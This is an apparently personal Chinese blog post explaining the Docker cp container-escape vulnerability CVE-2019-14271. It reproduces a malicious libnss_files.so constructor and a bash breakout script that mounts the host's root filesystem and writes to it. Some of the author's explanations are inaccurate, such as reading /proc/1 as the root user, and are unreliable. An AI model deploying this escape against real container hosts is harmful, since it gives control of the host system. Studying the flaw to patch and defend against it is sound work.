本文基于下面链接文章对CVE-2019-14271进行理解
迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析
这篇文章读了很久,反复琢磨才逐步搞懂它的原理,来之不易!!!
首先我们来了解以下docker cp的原理
命令
docker cp test:/var/log /tmp
上面的命令表示将容器test的/var/log目录里的文件复制到宿主机的/tmp文件夹下面
在这个过程中借助了一个名叫docker-tar的帮助进程,文章中是这样验证的
首先在后台执行
docker cp test:/var/log /tmp &
然后执行
ps afx | grep -v grep | grep -B 1 docker-tar
来查看进程信息
我试了下,可能是我的log文件夹太小了,我啥也没查出来。
这是文章中查到的,注意这里的进程号20618,待会要用到!
docker-tar的原理其实是使用了chroot,其实就是设置了一个根目录,将要请求的文件与目录放到这个根目录中去,生成一个tar文件,然后再将这个tar文件交给docker的守护进程,由守护进程将文件复制到目标文件夹中去。
什么是chroot?自行百度,我也是现场查的!!
为什么要用chroot呢?文章中解释是因为为了避免符号链接导致问题,因为复制过程中,如果目录中有符号链接的话,该符号链接可能被解析为宿主机的根目录,那么攻击者就可以利用这一点越过容器对宿主机文件系统进行操作。当使用chroot之后,所有的请求文件都被放在这个自定义的根目录下,自然就避免了这个问题。
上面就是关于该漏洞的一些预备知识
docker是使用golang语言编写的,易受攻击的是使用go v1.11版本编写的
在这个版本中,某些嵌入式的C语言软件包会动态加载动态链接库文件,这些软件包包括net os/user
,这些软件包在运行的时候会加载多个libnss_*.so
库文件。而docker-tar
在运行的时候会调用这个软件包,也就会执行动态链接库文件,通常该动态链接库文件时从宿主机的文件系统中加载的,但因为使用了chroot将根目录定义到容器中了,那么在加载库文件的时候就是从容器的文件系统中加载的,那么也就是说,容器中的命令可以影响到宿主机!!如果某个动态链接库文件中包含恶意代码,那么宿主机就会被攻击,可以看出,前提是我们拥有对容器的控制权,那么我们怎么获得这个控制权呢?
另外重要的一点文章说到,docker-tar并没有被chroot到容器中,那么docker-tar就拥有宿主机当前用户的权限,如果宿主机的用户是root?后果不堪设想!!
上面提到了我们需要一个libnss_files.so库,直接上网上下载,然后往这个库里面添加一个恶意的函数run_at_link
让我们看看大佬是怎么写这个函数的
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork())
{
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}
如果我没有猜错,这是用c语言写的,C语言我就会个皮毛,我们姑且一看。
大佬先写的这个,意思大概就是说我们的这个恶意的库文件首先只能被docker-tar使用,因为其他的进程运行中也可能会使用这个库,这就会导致混乱。判断的方法就是判断/proc目录是否为空,因为/proc上procfs–进程文件系统,仅存在于容器挂载的命名空间中,说实话这句话我没怎么懂!!
在代码中应该就是is_priviliged这个函数
可一看到,首先去打开一个此然存在的文件/proc/self/exe,如果proc为空那么返回值proc_file就为空,那么就会返回true。
然后回到代码开头
当is_priviliged为true的时候就不会return,继续进入下面的语句!
然后大佬这么写的
替换库文件,应该是这段代码
然后是这个
就是让这个恶意的动态链接库去找/breakout文件,这个文件中就是真正的恶意代码了!
这个文件中是这么写的
#!/bin/bash
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount the host's procfs over /proc
cd /proc/1/root # chdir to host's root
mount --bind . /host_fs # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil
我们来解读一下这段代码,首先将容器中的/host_fs解除挂载如果成功,那么删除它,然后新建一个目录。
然后将主机的proc文件挂载到容器的/proc上
然后进入到容器的/proc/1/root中,其实是进入到了宿主机中,1表示root用户
然后挂载宿主机的root文件系统到容器的/host_fs中
最后向主机的evil文件中写一句话!!!!
这里还要满足一个条件,因为.so文件是只有root用户才能操作的,所以为了避免这个问题,千万不要用root身份运行容器。
这里有个演示视频